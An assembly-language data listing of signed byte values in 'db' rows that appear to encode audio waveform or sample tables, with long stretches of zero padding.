db 0x1A,0x13,0x0C,0x0E,0xFD,0x06,0x04,0x08,0x12,0x19,0x1D,0x28,0x25,0x20,0x1B,0x0F,0x08,0x02,0xF7,0xF3,0xEB,0xDF,0xDC,0xD1,0xCB,0xC1,0xD5,0xE4,0xEE,0x0B,0x0D,0x14
db 0x10,0x13,0x10,0x15,0x0F,0x10,0x11,0x0F,0x13,0x15,0x19,0x1F,0x22,0x1E,0x1D,0x13,0x0B,0xFF,0xF4,0xED,0xE6,0xDE,0xDD,0xD5,0xD3,0xCE,0xD6,0xE5,0xEB,0xFD,0x05,0x0B
db 0x02,0x04,0x05,0x07,0x07,0x0A,0x0A,0x0E,0x0D,0x10,0x0D,0x11,0x0E,0x0E,0x0A,0x05,0x03,0x00,0xFE,0xF0,0xEF,0xED,0xEC,0xEA,0xED,0xEE,0xF1,0xF3,0xF7,0xF9,0xFD,0xFE
db 0xFD,0xFD,0x06,0xFD,0xFC,0x06,0xFE,0xFD,0x03,0x00,0xFC,0x06,0xFF,0xFE,0x03,0x01,0x00,0xFB,0x09,0xFD,0xF8,0x09,0xFD,0xFB,0x05,0x00,0xFA,0x06,0x01,0xFB,0x03,0x04
db 0x02,0xFC,0x06,0xFB,0xFE,0x07,0xFA,0x00,0x04,0xFC,0x02,0x02,0xF9,0x06,0xFD,0x00,0x00,0xFC,0x0B,0xF7,0xFF,0x0B,0xF4,0x07,0x00,0xFF,0xFD,0x07,0xFA,0xFF,0x03,0xFF
db 0xF8,0x04,0x06,0xF7,0x03,0x09,0xF3,0x01,0x06,0x03,0xF0,0x10,0xFF,0xF3,0x0A,0x04,0xF8,0xFD,0x0E,0xF3,0x04,0x07,0xF4,0x07,0x00,0x01,0xF9,0x0B,0xFE,0xF3,0x11,0xFB
db 0xEF,0x05,0x0B,0xF4,0x00,0x0F,0xF0,0xFF,0x0F,0xF7,0xF5,0x17,0xFC,0xEC,0x0F,0x0C,0xEA,0x07,0x10,0xEA,0x05,0x10,0xED,0x01,0x15,0xEA,0xFF,0x10,0x01,0xE4,0x18,0x03
db 0xFD,0xFF,0x04,0xFC,0x01,0x03,0x00,0xFA,0x0C,0xF9,0xFE,0x07,0xFD,0xFE,0x03,0x03,0xFA,0x03,0x05,0xF6,0x06,0x00,0x00,0x01,0xFE,0x03,0xFE,0x03,0x01,0xF8,0x08,0xFE
db 0xF9,0x09,0x00,0xF7,0x06,0x02,0xFD,0xFA,0x0E,0xF4,0x01,0x0A,0xF6,0x03,0x03,0x01,0xFB,0x04,0x02,0xFB,0x05,0xFD,0xFE,0x04,0x00,0xFF,0xFA,0x0A,0xFB,0xFC,0x06,0xFE
db 0xFC,0x03,0x01,0xFD,0x01,0xFF,0x02,0xFF,0x00,0xFE,0x01,0x01,0xFE,0x00,0x00,0x05,0xF9,0x03,0x02,0xFB,0x05,0x00,0xFC,0x04,0x01,0x00,0xFF,0x00,0x03,0xFD,0x02,0x01
db 0xF4,0xFD,0xFD,0xFC,0xFB,0xFB,0xFA,0xF9,0xFA,0xFA,0xFC,0xFE,0x00,0x03,0x05,0x07,0x07,0x09,0x08,0x08,0x09,0x08,0x08,0x07,0x06,0x04,0x03,0x00,0xFE,0xFC,0xF8,0xF6
db 0xFF,0xF8,0xF1,0xE6,0xD5,0xCB,0xC1,0xCC,0xDB,0xEB,0x00,0x0E,0x11,0x15,0x13,0x0D,0x0D,0x07,0x0A,0x0E,0x12,0x13,0x16,0x16,0x16,0x16,0x15,0x11,0x11,0x0C,0x07,0x04
db 0x09,0x03,0xFB,0xEE,0xDB,0xC9,0xC3,0xD1,0xDD,0xF2,0x04,0x0B,0x11,0x13,0x0D,0x0F,0x0E,0x0F,0x12,0x11,0x0F,0x11,0x0F,0x0D,0x0B,0x06,0x06,0x04,0x03,0x06,0x09,0x0A
db 0x0A,0x05,0xFE,0xF1,0xE0,0xCF,0xCC,0xD1,0xD8,0xE9,0xF5,0xFF,0x0D,0x11,0x16,0x1A,0x1A,0x1A,0x16,0x11,0x0E,0x0C,0x0A,0x09,0x07,0x05,0x04,0x02,0x03,0x07,0x09,0x0C
db 0x05,0xFE,0xF4,0xE7,0xD9,0xCF,0xCB,0xCC,0xD4,0xDF,0xEE,0xFF,0x0E,0x1C,0x26,0x2B,0x2B,0x26,0x1E,0x17,0x0F,0x09,0x04,0x00,0xFF,0xFE,0xFF,0x03,0x07,0x09,0x0B,0x09
db 0x00,0xF7,0xEC,0xE0,0xD6,0xCF,0xCC,0xCF,0xD6,0xE2,0xF1,0x00,0x0F,0x1C,0x25,0x2A,0x2B,0x26,0x20,0x18,0x11,0x0B,0x06,0x03,0x03,0x03,0x03,0x07,0x09,0x0A,0x0A,0x06
db 0xF8,0xF3,0xEE,0xE7,0xE0,0xDA,0xD6,0xD8,0xDE,0xE7,0xF3,0x00,0x0D,0x18,0x20,0x26,0x27,0x23,0x1D,0x17,0x11,0x0C,0x08,0x05,0x03,0x02,0x03,0x03,0x02,0x01,0xFF,0xFC
db 0xF9,0xF8,0xF6,0xF4,0xF2,0xF1,0xF0,0xF0,0xF2,0xF5,0xFA,0xFF,0x04,0x08,0x0C,0x0F,0x11,0x11,0x10,0x0E,0x0C,0x0A,0x07,0x05,0x02,0x00,0xFE,0xFC,0xFB,0xFA,0xFA,0xFA
db 0xFE,0xFF,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0xFF,0x01,0x02,0x03,0x04,0x04,0x04,0x03,0x03,0x02,0x02,0x01,0x00,0xFF,0xFE,0xFE,0xFE,0xFE,0xFF,0xFF
db 0x00,0x00,0xFE,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0x02,0x04,0xFE,0xFD,0x03,0xFF,0xFE,0x02,0x00,0xFE,0x01,0x00,0xFF,0x02,0x00,0xFE
db 0xFD,0xFF,0x02,0x00,0x06,0x02,0xFA,0xFE,0x00,0xFE,0x01,0x01,0xFF,0x00,0x03,0x00,0x02,0x08,0xFF,0xFA,0x00,0xFD,0xFB,0x03,0x00,0xFD,0x04,0x05,0x01,0xFE,0xFE,0xFF
db 0x04,0x01,0xFB,0xFE,0x02,0xFE,0xFB,0xFE,0x01,0xFF,0xFE,0x01,0x01,0x00,0x00,0x01,0x09,0x08,0xFE,0xFA,0x01,0x01,0xFA,0xFD,0x04,0x03,0xFC,0xFF,0x06,0x04,0xFD,0xFE
db 0xFF,0x00,0xFF,0xFF,0x00,0x01,0x00,0xFE,0x02,0x03,0x02,0x02,0x06,0x06,0x03,0x02,0x05,0x06,0x04,0x01,0x02,0x02,0xFD,0xFB,0xFD,0xFE,0xFF,0x00,0x01,0xFF,0xFE,0xFD
db 0xEE,0xFC,0x06,0x07,0x06,0x0A,0x0B,0x0E,0x0E,0x11,0x15,0x1B,0x1E,0x20,0x1F,0x1C,0x18,0x13,0x0E,0x08,0x04,0x01,0xFA,0xF2,0xE8,0xE2,0xDC,0xD7,0xD4,0xD7,0xDD,0xE2
db 0xF8,0x0F,0x14,0x11,0x0E,0x0F,0x0E,0x0A,0x08,0x08,0x0C,0x10,0x12,0x14,0x19,0x1E,0x20,0x18,0x13,0x10,0x09,0x00,0xF8,0xF2,0xED,0xE4,0xDA,0xD1,0xCB,0xC6,0xC6,0xD9
db 0xEB,0xF0,0xF7,0x00,0x07,0x0D,0x12,0x17,0x19,0x1A,0x1A,0x1A,0x1B,0x1C,0x1B,0x17,0x12,0x0F,0x0B,0x06,0x03,0x01,0xFF,0xFB,0xEA,0xE3,0xDC,0xD9,0xDC,0xE2,0xE7,0xE9
db 0xD6,0xE1,0xEF,0xFA,0x07,0x16,0x23,0x2C,0x2E,0x2E,0x2D,0x28,0x21,0x17,0x0F,0x09,0x04,0xFD,0xFA,0xFA,0xFB,0xFB,0xFA,0xF9,0xF8,0xF3,0xEC,0xE3,0xDD,0xDB,0xD7,0xD3
db 0xE3,0xE8,0xF2,0xFB,0x06,0x12,0x1D,0x22,0x25,0x26,0x25,0x20,0x19,0x12,0x0C,0x07,0x02,0xFD,0xFC,0xFC,0xFC,0xFC,0xFB,0xFC,0xFA,0xF6,0xF1,0xEC,0xE8,0xE5,0xE2,0xE1
db 0xFA,0xF6,0xFA,0xFE,0x03,0x07,0x0B,0x0D,0x0E,0x0F,0x0E,0x0D,0x0B,0x09,0x07,0x05,0x04,0x02,0x01,0xFF,0xFE,0xFD,0xFC,0xFB,0xFA,0xFA,0xF9,0xF8,0xF8,0xF8,0xF8,0xF9
db 0xFE,0xFE,0xFF,0xFF,0x00,0x00,0x01,0x01,0x01,0x01,0x01,0x01,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x01,0x01,0x01,0x01,0x01,0x00,0x00,0x00,0x00,0xFF
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x01,0x01,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0xFD,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0xFF,0xFE,0x00,0xFF,0xFF,0x02,0x00,0x00,0x01,0x00
db 0xFF,0x00,0x01,0x00,0x00,0x00,0xFF,0x00,0x01,0x02,0x02,0x00,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x01,0xFF,0xFF,0x00
db 0xFE,0xFF,0x00,0xFF,0x00,0x01,0x00,0x01,0x01,0x00,0x02,0x01,0xFE,0xFF,0xFF,0x01,0x00,0xFF,0x00,0xFF,0xFF,0x01,0x01,0x01,0x01,0x00,0x01,0x01,0x00,0x00,0xFF,0xFF
db 0x01,0x00,0xFF,0xFF,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0xFE,0x00,0xFF,0x01,0xFF,0xFE,0x00,0x00,0x02,0x02,0x01,0x00,0x01,0x00,0xFF,0xFF,0xFE,0xFF
db 0x01,0x00,0xFF,0x00,0x02,0x00,0xFE,0xFD,0xFC,0xFC,0xFF,0xFD,0xFA,0xFA,0xFA,0xFA,0xFA,0xFB,0xFB,0x00,0x03,0x05,0x06,0x07,0x07,0x08,0x09,0x09,0x07,0x04,0x04,0x01
db 0xD8,0xCB,0xD4,0xF9,0x14,0x1B,0x11,0x02,0xFA,0x00,0x15,0x1B,0x1C,0x15,0x00,0xEA,0xD8,0xC4,0xCC,0xF8,0x1A,0x23,0x13,0x00,0xF7,0x02,0x18,0x29,0x24,0x14,0xF9,0xE2
db 0xF7,0xF9,0x01,0x09,0x15,0x22,0x27,0x29,0x27,0x1E,0x14,0x06,0xF3,0xE9,0xE2,0xD5,0xD2,0xCC,0xC4,0xC7,0xE3,0xEB,0x03,0x14,0x1A,0x1F,0x20,0x17,0x12,0x06,0xFF,0xF8
db 0xF7,0xF4,0xFD,0x03,0x11,0x1D,0x24,0x2A,0x27,0x21,0x17,0x07,0xF8,0xEB,0xDC,0xD5,0xCA,0xC7,0xBF,0xD0,0xE0,0xEE,0x08,0x10,0x20,0x22,0x23,0x1F,0x15,0x0C,0x02,0xF8
db 0xF4,0xF3,0xF5,0xFE,0x0B,0x16,0x23,0x27,0x29,0x23,0x19,0x09,0xFB,0xEA,0xDD,0xCF,0xC6,0xBD,0xBD,0xD0,0xD7,0xF3,0x00,0x14,0x21,0x26,0x2B,0x24,0x1E,0x11,0x05,0xFC
db 0xF5,0xF1,0xF2,0xF9,0x04,0x11,0x1D,0x24,0x29,0x25,0x1F,0x0D,0x02,0xED,0xE1,0xCF,0xC6,0xBB,0xBB,0xCB,0xD4,0xF0,0xFD,0x17,0x1F,0x29,0x2E,0x2A,0x24,0x17,0x0B,0xFF
db 0xF6,0xF0,0xF2,0xF9,0x04,0x12,0x1C,0x25,0x27,0x26,0x1E,0x0E,0x02,0xEE,0xE1,0xD0,0xC6,0xBB,0xBB,0xCA,0xD3,0xEF,0xFB,0x16,0x1F,0x2C,0x2E,0x2B,0x24,0x16,0x0C,0xFD
db 0xF3,0xED,0xF0,0xF8,0x03,0x11,0x1D,0x26,0x29,0x27,0x1F,0x11,0x01,0xF0,0xE0,0xD2,0xC6,0xBF,0xB9,0xCA,0xD2,0xED,0xFC,0x14,0x21,0x2B,0x31,0x2A,0x25,0x14,0x0A,0xFB
db 0xF4,0xF1,0xF4,0xFD,0x09,0x17,0x21,0x28,0x28,0x23,0x1B,0x0A,0xFD,0xEC,0xE0,0xD3,0xCB,0xC4,0xC0,0xD0,0xD9,0xF2,0xFE,0x15,0x1D,0x28,0x28,0x22,0x1B,0x0C,0x03,0xF6
db 0xF6,0xF6,0xFD,0x05,0x10,0x1A,0x1F,0x20,0x1C,0x16,0x0D,0x02,0xF8,0xF0,0xE8,0xE1,0xDC,0xD7,0xD4,0xDD,0xE3,0xF2,0xFB,0x09,0x10,0x18,0x19,0x17,0x11,0x0A,0x02,0xF9
db 0x02,0x02,0x03,0x03,0x04,0x05,0x05,0x05,0x05,0x04,0x03,0x02,0x00,0xFE,0xFD,0xFB,0xFA,0xFA,0xF7,0xF9,0xFD,0xFF,0x02,0x03,0x03,0x03,0x03,0x03,0x03,0x03,0x02,0x02
db 0x01,0x02,0x02,0x04,0x04,0x04,0x03,0x03,0x02,0x01,0x00,0x00,0xFF,0xFE,0xFE,0xFE,0xFD,0xFD,0xFE,0xFE,0xFE,0xFE,0xFE,0xFE,0xFE,0xFE,0xFF,0xFF,0xFF,0x00,0x00,0x01
db 0xFF,0x01,0xFF,0x02,0x07,0x05,0x03,0xFF,0xFF,0xFF,0x00,0xFF,0x00,0xFF,0xFF,0xFF,0xFF,0xFE,0x00,0x03,0x00,0x01,0x00,0x02,0x02,0x02,0xFE,0xFE,0xFF,0xFE,0xFF,0xFF
db 0xF7,0xFD,0xFE,0xFF,0x07,0x09,0x00,0x01,0x02,0x01,0x00,0x02,0x01,0x00,0x00,0x02,0x01,0xFE,0x00,0x05,0x02,0x00,0x00,0xFD,0xF9,0xF9,0xF9,0xF6,0xF5,0xF7,0xF6,0xF4
db 0xF9,0x02,0x11,0x1C,0x22,0x29,0x29,0x25,0x1F,0x15,0x0B,0x02,0xF9,0xF4,0xF2,0xEF,0xF2,0xF5,0xF9,0x03,0x04,0x05,0x04,0xFF,0xFA,0xF3,0xEC,0xE3,0xDE,0xE2,0xE6,0xEE
db 0x0E,0x00,0xF8,0xF6,0x07,0x1B,0x29,0x27,0x1B,0x0B,0xFC,0xF2,0xEF,0xF0,0xF1,0xEB,0xDE,0xC8,0xD9,0xEE,0x0F,0x1E,0x24,0x16,0x02,0xEC,0xE6,0xE9,0xFB,0x0A,0x16,0x15
db 0x01,0xF6,0xF5,0x00,0x18,0x23,0x24,0x15,0x08,0xFD,0xFA,0xF9,0xFB,0xFA,0xF6,0xE8,0xD9,0xC4,0xD7,0xF6,0x17,0x27,0x23,0x0E,0xF5,0xE4,0xE4,0xF3,0x08,0x15,0x17,0x0E
db 0x0F,0x0A,0x03,0x07,0x0C,0x15,0x18,0x17,0x11,0x06,0xFA,0xF2,0xED,0xED,0xEA,0xE2,0xD8,0xCD,0xD5,0xF2,0x0D,0x20,0x1D,0x13,0x00,0xF2,0xEC,0xF2,0xFD,0x0B,0x12,0x15
db 0x12,0x0D,0x05,0x06,0x0B,0x13,0x18,0x1B,0x11,0x05,0xF5,0xEE,0xEA,0xEA,0xEA,0xE1,0xD8,0xD0,0xE5,0xFC,0x16,0x20,0x1D,0x0F,0xFD,0xF0,0xEC,0xF2,0xFD,0x0D,0x16,0x1A
db 0x17,0x10,0x09,0x07,0x08,0x12,0x16,0x16,0x0D,0x02,0xF6,0xED,0xE7,0xE7,0xE1,0xDD,0xD4,0xD9,0xF0,0x04,0x18,0x1B,0x18,0x0A,0xFE,0xF2,0xF1,0xF4,0x00,0x0C,0x17,0x19
db 0x1B,0x15,0x0F,0x09,0x08,0x09,0x0C,0x0B,0x07,0x00,0xF8,0xEF,0xE8,0xE0,0xDC,0xD8,0xD9,0xE8,0xF9,0x0B,0x15,0x18,0x14,0x0A,0x00,0xF6,0xF3,0xF5,0xFF,0x09,0x14,0x1A
db 0x13,0x10,0x0B,0x08,0x06,0x06,0x05,0x04,0x01,0xFD,0xF8,0xF5,0xF0,0xED,0xEB,0xEB,0xED,0xF3,0xF8,0xFF,0x04,0x07,0x08,0x07,0x05,0x03,0xFA,0xFA,0xFF,0x06,0x0E,0x12
db 0x09,0x07,0x05,0x03,0x02,0x00,0xFF,0xFE,0xFE,0xFE,0xFD,0xFD,0xFD,0xFC,0xFC,0xFB,0xFA,0xF9,0xF8,0xF8,0xF8,0xF9,0xFB,0xFD,0xFF,0x02,0x05,0x07,0x09,0x0A,0x0A,0x0A
db 0x03,0x01,0x00,0x00,0xFE,0xFE,0x00,0x00,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x06,0x04,0x04
db 0x04,0x01,0xFF,0x00,0xFE,0xFD,0xFE,0xFF,0xFD,0xFF,0x00,0xFF,0x00,0x02,0x01,0x00,0x03,0x01,0x00,0x03,0x02,0x00,0xFF,0xFF,0xFC,0xFD,0xFE,0xFD,0x00,0x07,0x04,0x04
db 0x00,0x00,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0x01,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0xFF,0xFF,0xFF,0x00,0xFF,0x00,0x02,0x01,0xFF,0xFF,0x00,0x01,0x01,0x01,0x00,0xFF,0xFF,0x00,0x01,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x02,0x00,0xFE,0x01,0x05
db 0x0A,0xC0,0xC6,0xEE,0x15,0x30,0x2E,0x00,0xD5,0xF1,0x21,0x2C,0x1D,0x19,0x0D,0x04,0x16,0x1A,0x0E,0x02,0x05,0x14,0x16,0xFE,0xE2,0xDB,0xE4,0xDB,0xC9,0xC7,0x09,0x43
db 0x57,0xBD,0xA7,0xDD,0xF2,0x2E,0x63,0x35,0xDC,0xD4,0xF9,0x16,0x39,0x44,0x16,0xF9,0x13,0x2A,0x1B,0x08,0x04,0x01,0x05,0x0B,0xF6,0xD9,0xC1,0xAE,0xB2,0xA4,0xE5,0x7F
db 0x45,0xDC,0xD6,0xC0,0xC4,0x35,0x69,0x3A,0x10,0xEF,0xCF,0xF5,0x3D,0x4C,0x36,0x24,0x04,0xF8,0x1F,0x27,0x08,0xFD,0x00,0xF5,0xF0,0xDB,0xAE,0xA7,0xB3,0x91,0xE9,0x7C
db 0x24,0x07,0xC8,0xAF,0xFB,0x29,0x44,0x50,0x1C,0xE3,0xE4,0xF9,0x24,0x51,0x4E,0x29,0x0E,0xFF,0x02,0x18,0x1D,0x09,0xEF,0xE2,0xCB,0xB7,0xB7,0xB0,0x95,0xC0,0x40,0x49
db 0x32,0x14,0xC9,0xBF,0xF2,0x07,0x3D,0x51,0x27,0x07,0xF5,0xEC,0x12,0x38,0x41,0x3F,0x2B,0x0B,0x04,0x04,0x0A,0x03,0xF9,0xDB,0xBF,0xB6,0xA9,0xA6,0x9B,0xE1,0x42,0x3B
db 0x3A,0x34,0xF8,0xDC,0xE7,0xE0,0x0C,0x2E,0x25,0x2D,0x1D,0x04,0x12,0x18,0x1B,0x30,0x31,0x28,0x27,0x14,0x01,0xF6,0xE5,0xD9,0xC5,0xBB,0xAC,0xA9,0x9D,0xCD,0x25,0x2C
db 0x3C,0x3C,0x0E,0xF8,0xEF,0xDD,0xF6,0x0A,0x10,0x26,0x28,0x21,0x27,0x23,0x1D,0x22,0x1F,0x1E,0x1F,0x16,0x0B,0x02,0xEF,0xD8,0xC5,0xB8,0xA9,0xA6,0xA1,0xD0,0x14,0x27
db 0x1F,0x17,0x14,0x11,0x06,0x03,0x02,0xFE,0x02,0x08,0x0C,0x13,0x16,0x14,0x13,0x0F,0x0A,0x08,0x05,0x00,0xFA,0xF5,0xEF,0xEB,0xE7,0xCD,0xC9,0xCA,0xE0,0xF9,0x05,0x15
db 0x04,0x06,0x08,0x07,0x07,0x06,0x05,0x05,0x03,0x03,0x03,0x04,0x04,0x05,0x03,0x03,0x02,0x02,0x00,0xFE,0xFD,0xFB,0xF9,0xF8,0xF3,0xF2,0xF2,0xF4,0xF8,0xFB,0xFE,0x02
db 0x03,0x04,0x05,0x06,0x06,0x05,0x05,0x05,0x04,0x04,0x03,0x02,0x02,0x02,0x01,0x00,0xFF,0x00,0xFE,0xFD,0xFD,0xFC,0xFA,0xFB,0xF9,0xF9,0xFA,0xFB,0xFC,0xFE,0xFF,0x02
db 0x06,0x09,0x0A,0x0A,0x06,0x06,0x06,0x04,0x04,0x04,0x04,0x03,0x04,0x05,0x04,0x03,0x02,0x02,0x00,0xFE,0xFC,0xFA,0xF7,0xF5,0xF2,0xF0,0xF1,0xF3,0xF7,0xFB,0xFF,0x03
db 0x10,0x11,0x11,0x10,0x0C,0x07,0x04,0x01,0xFF,0x00,0x02,0x05,0x0A,0x0D,0x0E,0x0E,0x0C,0x09,0x05,0x00,0xFA,0xF5,0xF0,0xEB,0xE6,0xE1,0xDE,0xE6,0xF1,0xF5,0xFE,0x09
db 0x11,0x1F,0x1E,0x1C,0x17,0x0E,0x09,0xFF,0xF8,0xF6,0xF7,0x01,0x08,0x10,0x19,0x1A,0x19,0x16,0x0F,0x05,0xFB,0xF3,0xE9,0xE0,0xDA,0xD4,0xCD,0xDB,0xEB,0xEA,0x03,0x0D
db 0x0E,0x1D,0x19,0x26,0x19,0x16,0x0F,0x02,0xFE,0xF6,0xF7,0xFC,0x02,0x0B,0x12,0x17,0x19,0x17,0x13,0x0A,0x02,0xF7,0xED,0xE4,0xDD,0xD6,0xCF,0xD5,0xE2,0xE1,0xFE,0xFF
db 0x13,0x17,0x22,0x1E,0x1D,0x1A,0x0E,0x0A,0xFD,0xFC,0xF9,0xFE,0x02,0x09,0x0F,0x13,0x15,0x13,0x10,0x08,0xFF,0xF6,0xEB,0xE4,0xDB,0xD4,0xD1,0xDC,0xDE,0xEE,0xF9,0x03
db 0x0D,0x17,0x1D,0x1C,0x21,0x19,0x16,0x0D,0x05,0x01,0xFD,0xFE,0x00,0x04,0x09,0x0D,0x0F,0x10,0x0C,0x08,0xFF,0xF8,0xEF,0xE7,0xDE,0xD8,0xD9,0xDD,0xE2,0xEF,0xF6,0x04
db 0x03,0x07,0x0A,0x0C,0x0D,0x0C,0x12,0x0D,0x09,0x05,0x04,0x02,0x03,0x04,0x05,0x06,0x06,0x06,0x03,0x01,0xFD,0xF9,0xF6,0xF1,0xED,0xEB,0xEC,0xED,0xF0,0xF5,0xF8,0xFE
db 0x00,0x01,0x00,0x01,0x01,0x01,0x01,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x01,0x01,0x01,0x00,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
